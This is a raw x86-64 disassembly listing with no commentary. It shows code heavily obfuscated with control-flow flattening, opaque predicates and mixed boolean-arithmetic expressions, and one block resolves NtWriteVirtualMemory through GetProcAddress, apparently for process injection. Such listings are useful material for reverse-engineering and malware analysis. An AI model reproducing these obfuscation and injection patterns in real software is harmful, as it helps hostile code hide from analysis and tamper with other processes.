xor al, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, al
xor cl, 1
mov eax, ecx
or al, dl
xor cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xde68ee9b
mov ebp, 0x3ad94a06
cmovne ecx, ebp
test al, 1
mov eax, 0xde68ee9b
jmp 0x1400c8618
cmp ecx, 0x5461816e
je 0x1400cc136
cmp ecx, 0x54a66710
jne 0x1400bd720
mov ecx, dword [0x140265728]
lea eax, [rcx - 1]
imul eax, ecx
mov esi, eax
not esi
mov ebp, eax
xor ebp, 0xfffffffe
and ebp, eax
mov ecx, eax
or ecx, 1
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0xbccd2643
mov edx, esi
and edx, 0x4332d9bc
or edx, edi
or ecx, ebx
and ebx, 0xbccd2643
and ebp, 0x4332d9bc
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
and esi, 0xf018ae99
and eax, 0xfe75166
or eax, esi
mov edx, eax
xor edx, 0xfe75166
xor eax, 0xf018ae99
and eax, ecx
not ecx
and edx, ecx
or eax, edx
xor ecx, eax
test ecx, eax
setne r8b
sete cl
cmp dword [0x140265724], 9
setg dl
xor cl, dl
mov ebx, edx
xor bl, r8b
mov eax, ebx
xor al, 1
or dl, r8b
xor dl, 1
or dl, bl
xor bl, dl
xor bl, 1
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
not al
and al, cl
xor cl, 1
mov ebx, ecx
xor bl, dl
and bl, cl
and dl, cl
or dl, al
mov eax, edx
xor al, bl
test dl, dl
mov ecx, 0x590cbe50
mov ebp, 0xb0ec89f1
cmovne ecx, ebp
test bl, bl
mov edx, 0x590cbe50
jmp 0x1400cb98f
cmp ecx, 0x342359e2
je 0x1400cc26b
cmp ecx, 0x35beb37b
jne 0x1400bd720
mov eax, dword [0x140265728]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x3aaba9bd
and edx, ecx
mov eax, ecx
or eax, 0xc5545642
mov ecx, eax
not ecx
mov ebp, edx
not ebp
mov ebx, eax
and ebx, 0x97b5a835
and ecx, 0x280a0188
or ecx, ebx
or eax, ebp
and ebp, 0x97b5a835
and edx, 0x684a57ca
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xc5545642
and eax, 0x3aaba9bd
or eax, ecx
mov ecx, eax
xor ecx, 1
and ecx, eax
mov edx, eax
not edx
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
mov ebp, edx
not ebp
mov ebx, eax
and ebx, 0xa1ff08d0
and ecx, 0x5e00f72f
or ecx, ebx
or eax, ebp
and ebp, 0xa1ff08d0
and edx, 0x5e00f72f
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x5795f54
and eax, 0xfa86a0ab
or eax, edx
xor eax, 0xfa86a0ab
or eax, ecx
cmp eax, 0xffffffff
sete al
setne cl
cmp dword [0x140265724], 9
setg dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, edx
xor bl, al
not bl
and bl, al
or dl, al
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
xor dl, 1
mov eax, ecx
or al, dl
xor dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0x1d003c8a
mov ecx, 0x95f9a7fc
cmovne ebp, ecx
test dl, 1
mov ecx, ebp
mov edx, 0x1d003c8a
cmovne ecx, edx
jmp 0x1400cbfc8
cmp ecx, 0x8b468a20
je 0x1400cc3c2
cmp ecx, 0x8c66933d
jne 0x1400bd720
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtWriteVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
mov ecx, edx
and ecx, 0x9080b6b8
mov ebx, ebp
and ebx, 0x6f7f4946
or ebx, ecx
mov edi, ebx
xor edi, 0x25740000
xor ebx, 0x90002439
mov ecx, edx
or ecx, 0xda0b6d7e
and ebx, 0xda0b6d7f
and edi, 0x25f49280
or edi, ebx
and ecx, 0xda0b6d7f
xor ecx, edi
mov ebx, ecx
not ebx
and ebx, 0x5bd589f6
and ecx, 0xa42a7609
or ecx, ebx
mov ebx, ecx
xor ebx, 0x20084400
xor ecx, 0x5bd589f6
mov edi, ecx
and edi, 0x8f36336b
and ebx, 0x70c9cc94
or ebx, edi
or ecx, ebp
and ebp, 0x8f36336b
and edx, 0x70c9cc94
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne cl
sete dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg bl
mov eax, ebx
xor al, dl
xor bl, al
and bl, al
or cl, r8b
xor dl, r8b
and dl, r8b
xor dl, 1
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov eax, ebx
xor al, 1
and al, dl
xor dl, 1
mov ecx, ebx
xor cl, dl
and cl, bl
and dl, bl
or dl, al
mov eax, ecx
xor al, dl
test dl, dl
mov edx, 0xca0805a9
mov ebp, 0x8d6b0f35
cmovne edx, ebp
test cl, cl
mov ecx, 0xca0805a9
cmove edx, ecx
test al, 1
jmp 0x1400c8090
cmp ecx, 0xcd1a8f77
je 0x1400cc4f8
cmp ecx, 0xcd9cce98
jne 0x1400bd720
mov ecx, 0x13f12a00
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0x7000452a
je 0x1400cc697
cmp ecx, 0x70102cdb
jne 0x1400bd720
mov ecx, 0xe28b905c
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0xaebffe12
je 0x1400cc6b9
cmp ecx, 0xb0ec89f1
jne 0x1400bd720
mov eax, dword [0x140265728]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, ecx
mov ebp, edx
not ebp
mov ebx, ecx
and ebx, 0x6b839240
and eax, 0x947c6dbf
or eax, ebx
or ecx, ebp
and ebp, 0x6b839240
and edx, 0x947c6dbf
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
mov ebp, ecx
xor ebp, 0xbcb60e37
and ebp, ecx
not ecx
and ecx, 0xaf112808
and eax, 0x50eed7f7
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xac100800
or ecx, 0x4349f1c8
mov ebx, ecx
not ebx
mov edi, ebp
not edi
mov esi, ecx
and esi, 0x95516615
and ebx, 0x28a60822
or ebx, esi
or ecx, edi
and edi, 0x95516615
and ebp, 0x6aae99ea
or ebp, edi
xor ebp, ebx
not ecx
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x4349f1c9
and ecx, 0xbcb60e36
or ecx, ebp
and edx, 1
xor eax, 0x50eed7f6
or eax, edx
not eax
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xd9785a98
and eax, 0x2687a567
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x2687a567
and eax, 0xd9785a98
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xbaf8278e
and ecx, 0x4507d871
or ecx, eax
mov eax, ecx
xor eax, 0x9a502302
xor ecx, 0x5031011
and ecx, 0x25ab149d
and eax, 0xda54eb62
or eax, ecx
xor eax, 0xda54eb62
sete al
setne dl
cmp dword [0x140265724], 9
setg bl
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
xor dl, 1
xor al, bl
xor al, dl
and dl, al
mov ecx, eax
xor cl, dl
mov ebp, 0x2c8f9f11
mov ecx, 0x590cbe50
cmovne ebp, ecx
test al, al
mov ecx, 0x2c8f9f11
jmp 0x1400c9c4e
cmp ecx, 0xf2e81280
je 0x1400cc6cf
cmp ecx, 0xf5accc2a
jne 0x1400bd720
mov ecx, 0xac93a094
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0x220bd973
je 0x1400cc8e8
cmp ecx, 0x24ade8b6
jne 0x1400bd720
mov edx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea ebp, [rdx - 1]
imul ebp, edx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0x1e69b399
mov edx, ebp
and edx, 0xe1964c66
or edx, ebx
mov ebx, edx
xor ebx, 0x1904040
xor edx, 0x1a40a098
mov ecx, ebp
xor ecx, 0x1bd0e0d8
and ecx, ebp
or edx, 0xe42f1f27
mov esi, ecx
not esi
mov eax, edx
and eax, 0xea4bb920
and ebx, 0x119040d8
or ebx, eax
or edx, esi
and esi, 0xea4bb920
and ecx, 0x15b446df
or ecx, esi
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xe42f1f26
and edx, 0x1bd0e0d9
or edx, eax
and edi, 0xa1312e68
and ebp, 0x5eced197
or ebp, edi
mov eax, ebp
xor eax, 0x50cc8011
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x8f327186
and edx, 0x70cd8e79
or edx, ebx
xor ebp, 0x81302000
and ebp, 0x8f327186
and eax, 0x70cd8e79
or eax, ebp
xor eax, edx
xor ecx, eax
test ecx, eax
sete cl
setne al
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg bl
and al, bl
mov edx, r9d
and dl, cl
or dl, al
xor dl, 1
or dl, bl
xor bl, cl
not bl
and bl, cl
xor cl, r9b
and cl, r9b
mov eax, ebx
xor al, 1
xor bl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, bl
xor cl, 1
mov eax, edx
or al, cl
xor cl, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x44a29e79
mov ebp, 0x5ee12e35
cmovne edx, ebp
test cl, 1
mov ecx, edx
mov ebp, 0x44a29e79
jmp 0x1400c9a1d
mov ecx, dword [0x140265728]
mov esi, dword [0x140265724]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
xor ecx, 0xece2caec
and ecx, ebx
or ebx, 0x131d3513
mov edx, ebx
not edx
mov ebp, ecx
not ebp
mov edi, ebx
and edi, 0x3ea58e6d
and edx, 0xc0424080
or edx, edi
or ebx, ebp
and ebp, 0x3ea58e6d
and ecx, 0xc15a7192
or ecx, ebp
xor ecx, edx
not ebx
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x131d3513
and ebx, 0xece2caec
or ebx, ecx
mov edx, ebx
not edx
mov ecx, ebx
xor ecx, 0x7693ded4
mov ebp, ecx
and ebp, edx
and ecx, ebx
mov edi, ebp
and edi, ecx
xor ecx, ebp
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0x896c212a
and ecx, 0x7693ded5
or ecx, ebp
and edx, 1
xor ebx, 0xfffffffe
or ebx, edx
mov ebp, ebx
not ebp
mov edx, ecx
not edx
mov edi, edx
and edi, 0x8778a30a
and ecx, 0x78875cf5
or ecx, edi
or edx, ebx
and ebx, 0x8778a30a
and ebp, 0x78875cf5
or ebp, ebx
xor ebp, ecx
not edx
or edx, ebp
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x614a0302
and ecx, edx
and edx, 0x9eb5fcfd
or edx, ebp
xor edx, 0x9eb5fcfd
mov ebp, edx
and ebp, ecx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0xc835c5a0
and edx, 0x37ca3a5f
or edx, ecx
mov ecx, edx
xor ecx, 0x244a2243
xor edx, 0x44580
and edx, 0x13845d9c
and ecx, 0xec7ba263
or ecx, edx
xor ecx, 0xec7ba263
sete r8b
setne r9b
cmp esi, 9
setg al
cmp esi, 0xa
setl r11b
mov ebx, eax
mov r10d, r8d
and r10b, al
mov ecx, r11d
and cl, r9b
or al, r9b
or r9b, r11b
or bl, r8b
mov edx, ebx
xor dl, r9b
or bl, r9b
xor bl, 1
or bl, dl
or cl, r10b
xor r11b, r8b
xor al, 1
or al, r11b
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
mov r8d, ecx
and r8b, dl
xor dl, cl
or dl, r8b
mov r8d, edx
and r8b, bl
mov ecx, ebx
xor cl, al
or al, bl
xor bl, 1
xor dl, 1
and dl, bl
or dl, r8b
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0x6ec2e9ec
cmovne ebp, r14d
test al, 1
mov ecx, 0x6ec2e9ec
cmovne ecx, ebp
jmp 0x1400c861b
mov ecx, 0x567c7ea1
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, 0x2930b632
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edi, [rcx - 1]
imul edi, ecx
mov ebx, edi
not ebx
mov ebp, edi
or ebp, 1
mov edx, ebp
not edx
mov ecx, ebx
or ecx, 0x261b1b78
and ebp, 0x261b1b79
and edx, 0xd9e4e486
or edx, ebp
and ecx, 0x261b1b79
xor ecx, edx
mov edx, ecx
not edx
and ebx, edx
and ecx, edi
or ecx, ebx
xor edx, ecx
test edx, ecx
sete r9b
setne r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg r10b
mov eax, r10d
xor al, cl
and al, r10b
mov edx, eax
xor dl, 1
and al, dl
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
xor al, r8b
mov r8d, eax
xor r8b, 1
mov ebx, r10d
xor bl, r9b
and bl, r10b
xor cl, r9b
mov edx, ebx
xor dl, 1
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
xor al, dl
xor dl, 1
or dl, r8b
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0xb5d5fb10
mov ebp, 0x2655a68
cmovne eax, ebp
test dl, 1
mov edx, 0xb5d5fb10
jmp 0x1400c7b48
mov ecx, 0x4e6afce5
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
mov ecx, ebp
xor ecx, 0x84ddfe59
and ecx, ebp
not ebp
and ebp, 0x912011
and edx, 0x844cde48
or edx, ebp
xor edx, 0x844cde48
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x7033439a
and ecx, 0x8fccbc65
or ecx, edx
mov edx, ecx
xor edx, 0xb11423c
mov ebp, ecx
xor ebp, 0x1402a442
and ebp, 0x1402e46e
xor ecx, 0xf1016377
and ecx, edx
mov ebx, edx
and ebx, 0xebfd1b91
or ebx, ebp
mov edx, ebx
xor edx, 0xebfd1b91
mov ebp, ebx
xor ebp, 0xee12c525
and ebp, edx
mov edi, ebp
and edi, ecx
xor ecx, ebp
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0x5efdeb5
and ecx, 0xfa10214a
or ecx, ebp
xor ebx, 0x402e04a
and ebx, 0x8ebae14b
mov ebp, edx
and ebp, 0x71451eb4
or ebp, ebx
xor ebp, 0x8ebae14a
and edx, 1
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x164c09b6
and edx, 0xe9b3f649
or edx, ebp
xor edx, 0xe9b3f649
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x5a0ad934
and ecx, edx
and edx, 0xa5f526cb
or edx, ebp
mov ebp, edx
xor ebp, 0x24810641
xor edx, 0x5a0ad934
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x8b7ca1ba
and ebp, 0x74835e45
or ebp, edi
or edx, ebx
and ebx, 0x8b7ca1ba
and ecx, 0x74835e45
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
setne r9b
sete dl
cmp eax, 9
setg cl
cmp eax, 0xa
setl r8b
mov eax, r8d
xor al, cl
and al, r8b
mov ebx, edx
xor bl, r9b
and bl, dl
xor bl, al
mov eax, ecx
xor al, dl
and al, cl
and r9b, r8b
and cl, dl
or cl, r9b
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
xor bl, 1
not al
and al, bl
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x56df09e1
mov ebp, 0xd59ecb78
jmp 0x1400c875f
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x15de1fe3
and edx, 0xea21e01c
or edx, ecx
mov ebx, edx
xor ebx, 0x2208018
xor edx, 0x800000
or ebp, 0x12a6ca7b
mov ecx, ebp
not ecx
or edx, 0x21082100
and edx, 0x21886100
and ebx, 0x12268a7b
or ebx, edx
and ebp, 0x21886100
and ecx, 0xcc511484
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x4cef439a
and ecx, 0xb310bc65
or ecx, edx
mov ebp, ecx
xor ebp, 0xa1b6761e
mov edx, ecx
xor edx, 0x5e4989e1
xor ecx, 0xdced5485
mov ebx, ecx
and ebx, edx
and ecx, ebp
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0xb03f933a
and ecx, 0x4fc06cc5
or ecx, ebx
xor ecx, 0x329b4e5f
and ebp, 0x5d02221f
mov ebx, edx
and ebx, 0xa2fddde0
or ebx, ebp
xor ebx, 0x5d02221e
and edx, 1
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0x219d430a
and edx, 0xde62bcf5
or edx, ebp
xor edx, 0xde62bcf5
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
xor ecx, 0x55347cb1
and ecx, edx
not edx
and edx, 0x55347cb1
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xaacb834e
and ecx, 0x55347cb1
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x7aa762a0
and ecx, 0x85589d5f
or ecx, ebp
xor ecx, 0x7aa762a0
xor edx, ecx
test edx, ecx
setne r8b
sete r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl dl
mov eax, edx
xor al, r9b
mov ebx, eax
xor bl, 1
and r8b, dl
or dl, r9b
and cl, r9b
or cl, r8b
xor cl, 1
mov r8d, edx
xor r8b, cl
or cl, dl
xor cl, 1
or cl, r8b
and al, bl
xor al, 1
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
xor al, cl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, eax
xor dl, cl
not dl
test dl, 1
mov edx, 0x657ed416
mov ebp, 0x56df09e1
cmovne edx, ebp
test cl, 1
mov ecx, 0x657ed416
cmovne ecx, edx
jmp 0x1400caa03
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xb806fa3d
and edx, 0x47f905c2
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x47f905c2
and edx, 0xb806fa3d
or edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
or ecx, 1
mov ebx, ecx
not ebx
and ebp, 0xf8a68a42
and edx, 0x75975bd
or edx, ebp
mov ebp, edx
xor ebp, 0x1113004
xor edx, 0xf8a68a43
mov edi, ecx
and edi, 0xbee8c7f9
and ebx, 0x41173806
or ebx, edi
or ecx, edx
and edx, 0xbee8c7f9
and ebp, 0x41173806
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x74c222b8
and ecx, 0x8b3ddd47
or ecx, edx
mov edx, ecx
xor edx, 0x44c20010
xor ecx, 0x1219d46
and ecx, 0x3121bfee
and edx, 0xcede4011
or edx, ecx
xor edx, 0xcede4011
setne r8b
sete r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
mov ebx, r9d
xor bl, al
mov edx, ebx
and dl, r9b
and bl, al
mov r10d, edx
and r10b, bl
xor bl, dl
or bl, r10b
or al, r9b
xor cl, r8b
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ebx
xor al, 1
mov edx, ebx
and dl, al
mov r8d, edx
and r8b, bl
xor dl, bl
or dl, r8b
mov ebx, edx
and dl, cl
mov r8d, eax
and r8b, cl
xor al, cl
xor cl, 1
xor bl, 1
and bl, cl
or dl, bl
or al, r8b
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0xc7ece753
mov eax, 0x9b52ae27
cmovne ecx, eax
test dl, 1
cmove ecx, eax
not bl
test bl, 1
mov eax, 0xc7ece753
jmp 0x1400cc4e4
mov ecx, 0xc4e7c122
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x48210c0
mov ebx, ecx
and ebx, 0x70404101
or ebx, edx
xor ebx, 0x70404101
mov edx, ecx
xor edx, 0x74c251c1
and edx, ecx
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x426078c1
and edx, 0xbd9f873e
or edx, ebx
xor edx, 0x36a22901
and ebp, 0x50d1769a
and ecx, 0xaf2e8965
or ecx, ebp
xor ecx, 0xaf2e8965
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xd1711275
and ecx, 0x2e8eed8a
or ecx, edx
xor ecx, 0x2e8eed8a
sete r9b
cmp eax, 9
setg dl
cmp eax, 0xa
setl r8b
mov ecx, r9d
xor cl, r8b
mov eax, ecx
xor al, 1
mov ebx, eax
xor bl, dl
and bl, al
xor dl, r9b
not dl
and dl, r9b
and cl, r8b
xor dl, 1
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
xor bl, 1
xor cl, 1
mov eax, ebx
or al, cl
xor cl, bl
mov edx, eax
xor dl, cl
test cl, 1
mov ecx, 0x5da6b387
mov ebp, 0x37f35ae1
cmovne ecx, ebp
test al, 1
mov eax, 0x5da6b387
jmp 0x1400c8618
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
xor ebp, 0x148671a4
and ebp, edx
or edx, 0x148671a4
mov ebx, edx
not ebx
mov edi, ebp
not edi
mov esi, edx
and esi, 0xcb3183cf
and ebx, 0x20480c10
or ebx, esi
or edx, edi
and edi, 0xcb3183cf
and ebp, 0x34ce7c30
or ebp, edi
xor ebp, ebx
not edx
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x148671a5
and edx, 0xeb798e5a
or edx, ebp
mov ebp, ecx
and ebp, 1
xor ecx, 1
or ecx, ebp
not ecx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x157f8d20
and edx, ecx
and ecx, 0xea8072df
or ecx, ebp
mov ebp, ecx
xor ebp, 0x88000248
xor ecx, 0x157f8d20
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x76fcf5b7
and ebp, 0x89030a48
or ebp, edi
or ecx, ebx
and ebx, 0x76fcf5b7
and edx, 0x89030a48
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
sete r8b
setne r10b
cmp eax, 0xa
setl dl
cmp eax, 9
setg cl
mov r9d, ecx
xor r9b, r10b
mov r11d, r9d
xor r11b, 1
mov ebx, ecx
xor bl, r8b
and bl, cl
and dl, r10b
and cl, r8b
or cl, dl
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov eax, r11d
and al, r9b
mov ebx, ecx
and bl, dl
xor r11b, al
xor al, 1
or al, r9b
xor al, 1
or al, r11b
mov r8d, ecx
and r8b, bl
xor bl, cl
or bl, r8b
mov ecx, eax
xor cl, 1
and cl, bl
xor bl, 1
and bl, al
or bl, cl
mov eax, r9d
xor al, dl
or dl, r9b
xor dl, 1
or dl, al
mov eax, edx
xor al, bl
test al, 1
mov eax, 0x6c93dcfa
mov ecx, 0x5a95e08e
cmovne eax, ecx
test dl, 1
mov ecx, 0x6c93dcfa
jmp 0x1400cc8ce
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x1d49532
and edx, 0xfe2b6acd
or edx, ecx
mov ecx, edx
xor ecx, 0x4a220009
mov ebp, edx
xor ebp, 0x1d49532
mov ebx, edx
xor ebx, 0x4bf2802b
and ebx, ebp
and ecx, 0x4a261519
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0x7117cc5e
and ecx, 0x8ee833a1
or ecx, ebx
mov ebx, ecx
xor ebx, 0x3110d140
and ebp, 1
xor edx, 0x1d49533
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x88a4d1cc
and edx, 0x775b2e33
or edx, ebp
mov ebp, edx
xor ebp, 0x75122211
xor edx, 0x88a4d1cc
xor ecx, 0xc4ce26b9
mov edi, ecx
and edi, 0xa6d0cae
and ebx, 0xf592f351
or ebx, edi
or ecx, edx
and edx, 0xa6d0cae
and ebp, 0xf592f351
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xe16fcfaa
and ecx, 0x1e903055
or ecx, edx
mov edx, ecx
xor edx, 0x8903004
xor ecx, 0xa06f8b80
and ecx, 0xb66f8bd1
and edx, 0x4990742e
or edx, ecx
xor edx, 0xb66f8bd1
sete r8b
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r10b
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov r11d, ebx
xor r11b, 1
mov edx, ebx
and dl, r11b
mov eax, edx
xor al, 1
xor dl, bl
or al, r11b
xor al, 1
or al, dl
mov edx, eax
and dl, r10b
xor al, 1
and al, cl
or al, dl
and r9b, r10b
or r10b, r8b
xor r10b, 1
and cl, r8b
or cl, r9b
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
mov edx, ecx
not dl
mov ebx, eax
xor bl, 1
and dl, bl
or bl, cl
and cl, al
or cl, dl
mov eax, ecx
xor al, bl
test cl, cl
mov ecx, 0xe5d42317
mov edx, 0xb0abb97
cmovne ecx, edx
test bl, bl
mov ebp, 0xe5d42317
cmovne ecx, ebp
jmp 0x1400cbe62
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov ebx, ecx
xor ebx, 0xfffffffe
and ebx, ecx
mov edi, ebp
and edi, ebx
xor ebx, ebp
or ebx, edi
and edx, 0x11503603
and ecx, 0xeeafc9fc
or ecx, edx
mov edx, ecx
xor edx, 0xeeafc9fc
xor ecx, 0x11503603
and ecx, ebx
not ebx
and edx, ebx
or ecx, edx
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
sete dl
setne r8b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r9b
mov eax, r8d
and al, r9b
mov ebx, ecx
and bl, dl
or bl, al
xor r9b, dl
xor dl, cl
or cl, r8b
xor cl, 1
or cl, r9b
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov edx, ecx
not dl
mov eax, ebx
xor al, cl
and al, bl
and cl, bl
xor bl, 1
and bl, dl
or cl, bl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0xe9acad53
mov ebp, 0x4d4e6b9b
cmovne ecx, ebp
test al, al
mov eax, 0xe9acad53
cmove ecx, eax
test dl, 1
jmp 0x1400cbfca
mov ecx, 0xc4a144e5
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
mov ebx, edx
and ebx, 0xfffffffe
and ebp, 0x8d8788c
and edx, 0xf7278773
or edx, ebp
xor edx, 0xf7278772
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ebp, edx
not ebp
or edx, 0x2e640b15
mov ebx, edx
not ebx
or ebp, 0xd19bf4ea
mov ecx, ebp
not ecx
and edx, 0x60397492
and ebx, 0x91828068
or ebx, edx
and ebp, 0x60397492
and ecx, 0xe440b05
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x4f4eb31b
and ecx, 0xb0b14ce4
or ecx, edx
mov edx, ecx
xor edx, 0x4000b004
xor ecx, 0x985106c1
and edx, 0x4684f134
and ecx, 0xb97b0ecb
or ecx, edx
xor ecx, 0xb97b0ecb
sete r10b
setne r9b
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov edx, eax
xor dl, r8b
and dl, al
mov r11d, edx
xor r11b, 1
mov ecx, r11d
and cl, dl
mov ebx, ecx
xor bl, 1
xor cl, dl
or bl, r11b
xor bl, 1
